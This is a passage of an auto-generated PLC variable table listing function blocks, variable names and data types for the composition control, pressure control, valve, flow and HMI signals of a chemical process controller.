+102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; 